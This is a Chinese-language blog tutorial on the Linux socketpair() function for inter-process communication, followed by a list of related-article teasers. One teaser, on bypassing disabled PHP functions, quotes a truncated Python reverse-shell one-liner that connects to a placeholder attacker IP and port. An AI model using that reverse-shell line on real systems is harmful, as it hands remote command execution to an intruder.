Linux進程間通信的socketpair()函數

2020-12-24 閒聊代碼

Linux的socketpair()函數,是創建一對互相連接著的socket描述符。

類似TCP連接,兩個文件描述符都可以讀寫,sv[0]寫入的數據在sv[1]讀出,sv[1]寫入的數據在sv[0]讀出。

它的參數與socket()類似,只是多了一個int sv[2]項用於返回這兩個文件描述符,返回值用於提示創建是否成功。

而socket()函數的返回值就是文件描述符,用返回-1提示失敗。

上圖為它的man手冊。

文件描述符,屬於進程的資源之一,與進程的變量、代碼類似,都會在fork()時被父子進程共享。

所以,socketpair()這個函數就被master+worker型的多進程伺服器廣泛用於master和各個worker的通信。

也可以用於子進程間的通信,因為第二個子進程被fork()時一樣要共享父進程的socketpair,只要子進程間規定好誰使用1,誰使用2就行。

文件描述符在內核裡對應著struct file結構,文件讀寫API最終都要處理內核的文件管理結構,文件描述符是這個結構的代號

只要把某個文件的管理結構映射到某幾個進程,他們就可以共享同一個文件了,在程序裡的表現就是他們共享了同一對socketpair。

具體用法見如下三張圖:

1,首先包含頭文件「sys/types.h」和「sys/socket.h」,

2,然後在main()函數裡先創建socketpair,然後再fork()子進程,這樣子進程就共享了父進程的socketpair,

3,根據fork的返回值去判斷出錯、子進程、還是父進程,然後寫不同的執行代碼。

因為是進程間通信,所以使用AF_UNIX域(domain)的socket,類型選擇SOCK_STREAM,類似TCP的可靠連結。

不要選SOCK_DGRAM,類似udp會在傳輸時丟包的。

我們在父進程裡fork了第二個子進程,讓這兩個子進程互相通信,一個使用sv[1]發送,一個使用sv[0]接收。

他們把各自不用的那個sv[i]關掉,只保留用的那個。

發送字符串時帶著結尾的』\0』,6個字符,因為strlen不計算結尾的』\0』,所以發送長度要加1。

這裡發送數據使用了socket的send()和recv()函數,阻塞式調用。

他們也可以配合epoll()機制進行非阻塞式的調用,是nginx伺服器的底層基礎。

運行結果圖:

PS:一個進程也可以在AF_UNIX域的socket上顯式監聽一個字符串表示的文件目錄,等待其他進程去連接它,類似監聽tcp的socket一樣。

AF_UNIX的socketpair還可以把一個進程打開的文件,傳遞給另一個進程,這叫傳遞socket的附加數據,具體用法可以man一下cmsg。在Linux內核裡就是把這個文件的管理結構struct file的指針加到目標進程的文件列表裡。

相關焦點

  • Windows編程技術:Socket通信(上)
    這裡介紹Socket的TCP和UDP通信;一、TCP通信1、函數介紹1.1、socket()函數int socket(int domain, int type, int protocol1.2、bind()函數bind()函數把一個地址族中的特定地址賦給socket。例如對應AF_INET、AF_INET6就是把一個ipv4或ipv6地址和埠號組合賦給socket。
  • 幽默講解 Linux 的 Socket IO 模型
    IO模型,借用這個故事,講解下linux的socket IO模型;老陳有一個在外地工作的女兒,不能經常回來,老陳和她通過信件聯繫。下面就以老陳接收信件為例講解linux的 Socket I/O模型。首先開啟套接口的信號驅動 I/O功能,並通過sigaction系統調用安裝一個信號處理函數。該系統調用將立即返回,我們的進程繼續工作,也就是說沒被阻塞。
  • Linux的分離聚合IO函數(scatter/gather)
    系統調用多了也會降低效率,每一次系統調用都會進入內核,除了需要的功能之外還會經過一大堆的檢測(例如是否存在段錯誤),甚至進程切換。在通過Linux的系統調用讀寫數據時,經常面臨的情況是,要麼多一次系統調用,要麼多複製一次數據。
  • 從串口驅動到Linux驅動模型,想轉Linux的必會!
    並不是linux下的串口驅動。引入此圖旨在讓讀者感性的認識到串口控制臺的功能是什麼。下面正式開始對串口打開。發送。接收函數的分析。這裡向前引用一個函數。就是linux內核中幾種2440晶片通用的串口發送函數s3c24xx_serial_start_tx。
  • php中函數禁用繞過的原理與利用
    php pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("{ip}",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno
  • smart-socket v1.4.8 發布,國產 Java AIO 通信框架
    smart-socket 是一款國產開源的 Java AIO 框架,追求代碼量、性能、穩定性、接口設計各方面都達到極致。
  • Linux 進程管理數據結構
    * 1:進程處於TASK_INTERRUPTIBLE或者TASK_STOPPED狀態,而且正在被系統調用服務例程或內核線程喚醒。 * 2:進程處於TASK_INTERRUPTIBLE或者TASK_STOPPED狀態,而且正在被ISR或者可延遲函數喚醒。
  • Windows 10 可直接訪問 Linux 文件
    微軟表示,為了實現Windows下對Linux文件的訪問,特意在WLS初始化進程內加入了一個9P協議伺服器,它包含支持Linux元數據的協議,包括權限,Windows系統再通過特殊服務、驅動作為客戶端,通過AF-UNIX socket
  • 一文讀懂Linux進程、進程組、會話、殭屍
    fork 函數會複製當前進程,在內核進程表中創建一個新的進程表項。新的進程表項有很多屬性和原進程相同,比如堆指針、棧指針和標誌寄存器的值。但也有許多屬性被賦予了新的值,比如該進程的 PPID 被設置成了原進程的 PID,信號位圖被清除(也就是原進程設置的信號處理的函數不再對新進程起作用)。
  • Linux 殭屍進程可以被殺死嗎?
    殭屍進程不可能被殺死,因為它已經死了,不存在再死一次的問題。死的對立面是活,死者已死。只有活的進程才可能被殺死。什麼是殭屍進程?首先要明確一點,殭屍進程的含義是:子進程已經死了,但是父進程還沒有wait它的一個中間狀態,這個時候子進程是一個殭屍。
  • Linux內核獲取當前進程結構的current宏
    的幾個關鍵變量,最後提到了在內核裡獲取當前進程的pid的代碼:current->pid。current,屬於內核的一個宏,指向get_current()函數。current,實際獲得的是當前進程結構的指針,current->pid ,自然就是當前進程號。pid是task_struct的一個成員變量,類型為pid_t,與系統調用getpid()函數的返回值一致。
  • 玩轉嵌入式之如何在Linux系統中搭建tftp伺服器·圖文視頻
    嵌入式linux最常用到tftp命令來完成開發板和Linux系統之間的的文件傳輸,避免了頻繁的U盤拷貝過程。我們知道,Windows下使用「tftpd32.exe」這款軟體可以很方便地在Windows下搭建的tftp伺服器。
  • 售票員和司機進程 - CSDN
    編程用fork()創建一個子進程代表售票員,司機在父進程中,再用系統調用signal()讓父進程(司機)捕捉來自子進程(售票員)發出的中斷信號,讓子進程(售票員)捕捉來自(司機)發出的中斷信號,以實現進程間的同步運行。
  • 當運行 Linux 內核的機器死機時……
    /if_ether.h>#include<linux/ip.h>#include<linux/udp.h>#define IPPROTO_MYPROTO 123#define QUOTA 30structsk_buff *eskb[QUOTA];staticint quota = QUOTA
  • Linux input子系統編程、分析與模板
    由於每種輸入的設備上報的事件都各有不同,所以為了應用層能夠很好識別上報的事件,內核中也為應用層封裝了標準的接口來描述一個事件,這些接口在"/include/upai/linux/input"中。這些宏同時用在用戶空間的事件解析和驅動的事件註冊,可以看作是驅動和用戶空間的通信協議,所以理解其中的意義十分重要。在input子系統中,每一個事件的發生都使用事件(type)->子事件(code)->值(value)三級來描述,比如,按鍵事件->按鍵F1子事件->按鍵F1子事件觸發的值是高電平1。